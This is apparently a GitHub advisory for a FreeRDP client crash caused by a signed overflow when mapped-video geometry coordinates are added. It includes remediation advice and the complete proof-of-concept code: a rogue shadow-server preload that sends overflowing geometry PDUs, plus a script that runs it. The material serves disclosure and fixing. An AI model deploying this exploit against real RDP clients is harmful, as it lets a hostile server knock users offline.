Positive mapped-video coordinates overflow and abort FreeRDP clients
What fixes it
- 3.32.0FreeRDP, cGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
A malicious or compromised RDP server can terminate a FreeRDP client after the user connects with video redirection enabled. The geometry and video channels accept individually non-negative mapped coordinates, but video_onMappedGeometryUpdate adds the two signed positions before converting the result with WINPR_ASSERTING_INT_CAST(uint32_t, ...). Two positive coordinates can overflow the signed addition and cause winpr_int_assert to abort the client.
The issue was reproduced over a real TLS/RDP connection using the production geometry, video-control, and video-data DVCs and an unmodified xfreerdp client. A safe-coordinate control remained connected. The otherwise identical overflowing update terminated the client with SIGABRT at video_onMappedGeometryUpdate.
The trigger requires the user to connect to the malicious or compromised server with /video enabled. The demonstrated impact is denial of service only. This submission does not claim memory corruption, confidentiality or integrity impact, or code execution.
Public PR #13407 is related hardening but not an exact fix: it rejects individually negative or inverted geometry values and does not check whether two positive positions overflow when added. The trigger remains present on current master.
Reproduction
The sibling poc/ directory contains a bounded source-only replay. With a matching FreeRDP source/build tree and an active X display, run:
./poc/run.sh ../FreeRDP ../FreeRDP-build :99 47580
Observed result:
control PASS client_alive=1 attack PASS client_alive=0 PASS: safe geometry remains connected; overflowing geometry aborts the client.
Suggested remediation
Add the already validated non-negative operands in a wider unsigned type, reject any combined position outside the destination coordinate or desktop bounds, and only then narrow it. Apply the check at presentation creation and mapped-geometry update. Add wire-level regression cases for horizontal and vertical overflow.
Proof of Concept files
Every file shipped in the sibling poc/ directory is embedded byte-for-byte below.
BEGIN FILE: poc/make_h264.c
#include <stdio.h>
#include <stdlib.h>
#include <libavcodec/avcodec.h>
#include <libavutil/opt.h>
int main(int argc, char** argv)
{
if (argc != 2)
return 2;
const AVCodec* codec = avcodec_find_encoder_by_name("libx264");
if (!codec)
codec = avcodec_find_encoder(AV_CODEC_ID_H264);
if (!codec)
return 3;
AVCodecContext* ctx = avcodec_alloc_context3(codec);
AVFrame* frame = av_frame_alloc();
AVPacket* packet = av_packet_alloc();
if (!ctx || !frame || !packet)
return 4;
/* FreeRDP pads a requested 16x100 video surface to 48x128. */
ctx->width = 48;
ctx->height = 128;
ctx->pix_fmt = AV_PIX_FMT_YUV420P;
ctx->time_base = (AVRational){ 1, 25 };
ctx->framerate = (AVRational){ 25, 1 };
ctx->gop_size = 1;
ctx->max_b_frames = 0;
ctx->thread_count = 1;
(void)av_opt_set(ctx->priv_data, "preset", "ultrafast", 0);
(void)av_opt_set(ctx->priv_data, "tune", "zerolatency", 0);
if (avcodec_open2(ctx, codec, NULL) < 0)
return 5;
frame->format = ctx->pix_fmt;
frame->width = ctx->width;
frame->height = ctx->height;
frame->pts = 0;
if (av_frame_get_buffer(frame, 32) < 0 || av_frame_make_writable(frame) < 0)
return 6;
for (int y = 0; y < ctx->height; y++)
for (int x = 0; x < ctx->width; x++)
frame->data[0][y * frame->linesize[0] + x] = (unsigned char)(32 + ((x + y) & 127));
for (int y = 0; y < ctx->height / 2; y++)
for (int x = 0; x < ctx->width / 2; x++)
{
frame->data[1][y * frame->linesize[1] + x] = 96;
frame->data[2][y * frame->linesize[2] + x] = 160;
}
if (avcodec_send_frame(ctx, frame) < 0)
return 7;
if (avcodec_receive_packet(ctx, packet) < 0)
return 8;
FILE* fp = fopen(argv[1], "wb");
if (!fp)
return 9;
const size_t written = fwrite(packet->data, 1, (size_t)packet->size, fp);
fclose(fp);
printf("generated Annex-B H.264: %d bytes, 48x128\n", packet->size);
av_packet_free(&packet);
av_frame_free(&frame);
avcodec_free_context(&ctx);
return written > 0 ? 0 : 10;
}END FILE: poc/make_h264.c
BEGIN FILE: poc/rogue_video.c
#define _GNU_SOURCE
#include <errno.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <winpr/wtsapi.h>
#include <freerdp/channels/geometry.h>
#include <freerdp/channels/video.h>
#include <freerdp/channels/wtsvc.h>
#define MAPPING_ID UINT64_C(0x1122334455667788)
static void put16(unsigned char* p, uint16_t v)
{
p[0] = (unsigned char)v;
p[1] = (unsigned char)(v >> 8);
}
static void put32(unsigned char* p, uint32_t v)
{
p[0] = (unsigned char)v;
p[1] = (unsigned char)(v >> 8);
p[2] = (unsigned char)(v >> 16);
p[3] = (unsigned char)(v >> 24);
}
static void put64(unsigned char* p, uint64_t v)
{
put32(p, (uint32_t)v);
put32(p + 4, (uint32_t)(v >> 32));
}
static int write_all(HANDLE channel, const void* data, size_t size, const char* label)
{
ULONG written = 0;
if (!WTSVirtualChannelWrite(channel, (PCHAR)data, (ULONG)size, &written) || written != size)
{
fprintf(stderr, "E2E write failed: %s size=%zu written=%lu error=%lu\n", label, size,
(unsigned long)written, (unsigned long)GetLastError());
return 0;
}
fprintf(stderr, "E2E sent %s: %zu bytes\n", label, size);
return 1;
}
static int channel_ready(HANDLE channel)
{
for (unsigned int attempt = 0; attempt < 100; attempt++)
{
PVOID out = NULL;
DWORD size = 0;
if (WTSVirtualChannelQuery(channel, WTSVirtualChannelReady, &out, &size))
{
const BOOL ready = out && size >= sizeof(BOOL) && *(BOOL*)out;
WTSFreeMemory(out);
if (ready)
return 1;
}
usleep(50000);
}
return 0;
}
static int send_geometry(HANDLE channel, int wrapped)
{
unsigned char pdu[72] = { 0 };
size_t p = 0;
put32(&pdu[p], sizeof(pdu)); p += 4;
put32(&pdu[p], 1); p += 4;
put64(&pdu[p], MAPPING_ID); p += 8;
put32(&pdu[p], GEOMETRY_UPDATE); p += 4;
put32(&pdu[p], 0); p += 4;
put64(&pdu[p], 1); p += 8;
put32(&pdu[p], 0); p += 4;
put32(&pdu[p], wrapped ? UINT32_C(0x7fffff9d) : 0); p += 4;
put32(&pdu[p], 16); p += 4;
put32(&pdu[p], wrapped ? UINT32_C(0x7fffff9d) : 100); p += 4;
put32(&pdu[p], 0); p += 4;
put32(&pdu[p], wrapped ? UINT32_C(0x7fffffff) : 0); p += 4;
put32(&pdu[p], 16); p += 4;
put32(&pdu[p], wrapped ? UINT32_C(0x7fffffff) : 100); p += 4;
put32(&pdu[p], 2); p += 4;
put32(&pdu[p], 0); p += 4;
return p == sizeof(pdu) && write_all(channel, pdu, sizeof(pdu), wrapped ? "wrapped geometry" : "safe geometry");
}
static int send_presentation(HANDLE channel)
{
static const unsigned char h264_guid[16] = {
'H', '2', '6', '4', 0x00, 0x00, 0x10, 0x00,
0x80, 0x00, 0x00, 0xaa, 0x00, 0x38, 0x9b, 0x71
};
unsigned char pdu[68] = { 0 };
size_t p = 0;
put32(&pdu[p], sizeof(pdu)); p += 4;
put32(&pdu[p], TSMM_PACKET_TYPE_PRESENTATION_REQUEST); p += 4;
pdu[p++] = 1;
pdu[p++] = 1;
pdu[p++] = TSMM_START_PRESENTATION;
pdu[p++] = 25;
put16(&pdu[p], 0); p += 2;
put16(&pdu[p], 0); p += 2;
put32(&pdu[p], 16); p += 4;
put32(&pdu[p], 100); p += 4;
put32(&pdu[p], 16); p += 4;
put32(&pdu[p], 100); p += 4;
put64(&pdu[p], 0); p += 8;
put64(&pdu[p], MAPPING_ID); p += 8;
memcpy(&pdu[p], h264_guid, sizeof(h264_guid)); p += sizeof(h264_guid);
put32(&pdu[p], 0); p += 4;
return p == sizeof(pdu) && write_all(channel, pdu, sizeof(pdu), "start presentation");
}
static int send_frame(HANDLE channel, const unsigned char* sample, size_t sample_size,
uint32_t sample_number)
{
const size_t total = 40 + sample_size;
if (total > UINT32_MAX)
return 0;
unsigned char* pdu = calloc(1, total);
if (!pdu)
return 0;
size_t p = 0;
put32(&pdu[p], (uint32_t)total); p += 4;
put32(&pdu[p], TSMM_PACKET_TYPE_VIDEO_DATA); p += 4;
pdu[p++] = 1;
pdu[p++] = 1;
pdu[p++] = TSMM_VIDEO_DATA_FLAG_KEYFRAME;
pdu[p++] = 0;
put64(&pdu[p], 0); p += 8;
put64(&pdu[p], 0); p += 8;
put16(&pdu[p], 1); p += 2;
put16(&pdu[p], 1); p += 2;
put32(&pdu[p], sample_number); p += 4;
put32(&pdu[p], (uint32_t)sample_size); p += 4;
memcpy(&pdu[p], sample, sample_size);
const int rc = write_all(channel, pdu, total, sample_number == 1 ? "H.264 frame 1" : "H.264 frame 2");
free(pdu);
return rc;
}
static unsigned char* read_file(const char* path, size_t* size)
{
FILE* fp = fopen(path, "rb");
if (!fp)
return NULL;
if (fseek(fp, 0, SEEK_END) != 0)
return NULL;
const long length = ftell(fp);
if (length <= 0 || fseek(fp, 0, SEEK_SET) != 0)
return NULL;
unsigned char* data = malloc((size_t)length);
if (!data)
return NULL;
if (fread(data, 1, (size_t)length, fp) != (size_t)length)
{
free(data);
return NULL;
}
fclose(fp);
*size = (size_t)length;
return data;
}
static void* sender(void* unused)
{
(void)unused;
/* Let shadow complete its own WTS initialization before opening server DVCs. */
sleep(2);
const char* sample_path = getenv("VIDEO_E2E_SAMPLE");
const char* mode = getenv("VIDEO_E2E_MODE");
const DWORD session = getenv("VIDEO_E2E_SESSION") ? (DWORD)strtoul(getenv("VIDEO_E2E_SESSION"), NULL, 10) : 1;
if (!sample_path)
{
fprintf(stderr, "E2E missing VIDEO_E2E_SAMPLE\n");
return NULL;
}
size_t sample_size = 0;
unsigned char* sample = read_file(sample_path, &sample_size);
if (!sample)
{
fprintf(stderr, "E2E failed to read H.264 sample: %s\n", sample_path);
return NULL;
}
HANDLE geometry = NULL;
for (unsigned int attempt = 0; attempt < 120 && !geometry; attempt++)
{
geometry = WTSVirtualChannelOpenEx(session, GEOMETRY_DVC_CHANNEL_NAME,
WTS_CHANNEL_OPTION_DYNAMIC);
if (!geometry)
usleep(100000);
}
if (!geometry)
{
fprintf(stderr, "E2E geometry open failed: error=%lu\n", (unsigned long)GetLastError());
free(sample);
return NULL;
}
HANDLE control = WTSVirtualChannelOpenEx(session, VIDEO_CONTROL_DVC_CHANNEL_NAME,
WTS_CHANNEL_OPTION_DYNAMIC);
HANDLE data = WTSVirtualChannelOpenEx(session, VIDEO_DATA_DVC_CHANNEL_NAME,
WTS_CHANNEL_OPTION_DYNAMIC);
if (!control || !data || !channel_ready(geometry) || !channel_ready(control) ||
!channel_ready(data))
{
fprintf(stderr, "E2E channel readiness failed: geometry=%p control=%p data=%p error=%lu\n",
geometry, control, data, (unsigned long)GetLastError());
free(sample);
return NULL;
}
fprintf(stderr, "E2E all three DVCs ready; mode=%s sample=%zu bytes\n",
mode ? mode : "control", sample_size);
if (!send_geometry(geometry, 0) || !send_presentation(control))
goto out;
usleep(300000);
if (!send_frame(data, sample, sample_size, 1))
goto out;
sleep(2);
if (!send_geometry(geometry, mode && strcmp(mode, "attack") == 0))
goto out;
usleep(200000);
(void)send_frame(data, sample, sample_size, 2);
fprintf(stderr, "E2E sequence complete\n");
out:
free(sample);
return NULL;
}
__attribute__((constructor)) static void start_sender(void)
{
pthread_t thread;
if (pthread_create(&thread, NULL, sender, NULL) == 0)
(void)pthread_detach(thread);
}END FILE: poc/rogue_video.c
BEGIN FILE: poc/run.sh
#!/usr/bin/env bash
set -euo pipefail
if (( $# < 3 || $# > 4 )); then
echo "usage: $0 FREERDP_SOURCE FREERDP_BUILD DISPLAY [BASE_PORT]" >&2
exit 2
fi
S=$(cd "$1" && pwd)
B=$(cd "$2" && pwd)
display=$3
base_port=${4:-47580}
P=$(cd "$(dirname "$0")" && pwd)
work_root=${POC_WORK_ROOT:-${XDG_CACHE_HOME:-$HOME/.cache}}
mkdir -p "$work_root"
W=$(mktemp -d "$work_root/freerdp-video-geometry.XXXXXX")
sp= cp=
cleanup()
{
for pid in ${cp:-} ${sp:-}; do
kill "$pid" 2>/dev/null || true
done
if [[ ${KEEP_WORK:-0} != 1 ]]; then
rm -rf "$W"
fi
}
trap cleanup EXIT HUP INT TERM
LIB=$(find "$B" "$(dirname "$B")/deps" -type f -name '*.so.*' -printf '%h\n' 2>/dev/null |
sort -u | paste -sd: -)
export LD_LIBRARY_PATH=$LIB
export PKG_CONFIG_PATH="$(dirname "$B")/deps/usr/lib/x86_64-linux-gnu/pkgconfig${PKG_CONFIG_PATH:+:$PKG_CONFIG_PATH}"
cc -O2 "$P/make_h264.c" -o "$W/make_h264" \
$(pkg-config --cflags --libs libavcodec libavutil) >"$W/build.log" 2>&1
cc -shared -fPIC -O2 -I"$S/include" -I"$S/winpr/include" -I"$B/include" \
-I"$B/winpr/include" "$P/rogue_video.c" -o "$W/rogue_video.so" \
-L"$B/winpr/libwinpr" -lwinpr3 -lpthread >>"$W/build.log" 2>&1
"$W/make_h264" "$W/sample.h264" >"$W/generator.log" 2>&1
asan_preload=
if ldd "$B/client/X11/xfreerdp" 2>/dev/null | grep -q 'libasan'; then
asan_preload=$(cc -print-file-name=libasan.so)
fi
run_case()
{
local mode=$1 port=$2 alive=0
local preload="$W/rogue_video.so"
if [[ -n "$asan_preload" ]]; then
preload="$asan_preload:$preload"
fi
mkdir -p "$W/$mode/home"
HOME="$W/$mode/home" DISPLAY=$display VIDEO_E2E_MODE=$mode \
VIDEO_E2E_SAMPLE="$W/sample.h264" LD_PRELOAD="$preload" \
ASAN_OPTIONS=detect_leaks=0 \
"$B/server/shadow/cli/freerdp-shadow-cli" /port:"$port" /sec:tls \
-auth -may-view -may-interact /log-level:DEBUG \
>"$W/$mode.server.out" 2>"$W/$mode.server.err" &
sp=$!
sleep 1
DISPLAY=$display LD_PRELOAD="$asan_preload" ASAN_OPTIONS=detect_leaks=0 \
"$B/client/X11/xfreerdp" /v:127.0.0.1:"$port" /u:alice \
/p:demonstration-only /cert:ignore /sec:tls /video /gdi:sw \
/size:1024x768 /log-level:DEBUG \
>"$W/$mode.client.out" 2>"$W/$mode.client.err" &
cp=$!
for _ in $(seq 1 100); do
kill -0 "$cp" 2>/dev/null || break
grep -q 'E2E sequence complete' "$W/$mode.server.err" 2>/dev/null && break
sleep .1
done
sleep 1
kill -0 "$cp" 2>/dev/null && alive=1
grep -q 'E2E all three DVCs ready' "$W/$mode.server.err"
grep -q 'E2E sent start presentation' "$W/$mode.server.err"
grep -q 'E2E sent H.264 frame 1' "$W/$mode.server.err"
grep -q 'areRectsValid.*outside of bounding frame' "$W/$mode.client.err"
if [[ "$mode" == control ]]; then
[[ "$alive" == 1 ]]
grep -q 'E2E sent safe geometry' "$W/$mode.server.err"
! grep -q 'winpr_int_assert\|Caught signal.*Aborted' "$W/$mode.client.err"
else
[[ "$alive" == 0 ]]
grep -q 'E2E sent wrapped geometry' "$W/$mode.server.err"
grep -q 'video_onMappedGeometryUpdate' "$W/$mode.client.err"
grep -q 'winpr_int_assert' "$W/$mode.client.err"
grep -q "Caught signal 'Aborted'" "$W/$mode.client.err"
fi
kill "$cp" 2>/dev/null || true
wait "$cp" 2>/dev/null || true
cp=
kill "$sp" 2>/dev/null || true
wait "$sp" 2>/dev/null || true
sp=
printf '%s PASS client_alive=%s\n' "$mode" "$alive"
}
run_case control "$base_port"
run_case attack "$((base_port + 1))"
echo 'PASS: safe geometry remains connected; overflowing geometry aborts the client.'END FILE: poc/run.sh
Text from GitHub Advisory Database
Affected versions 1
- FreeRDP, c>= 3.11.0, <= 3.31.1GitHub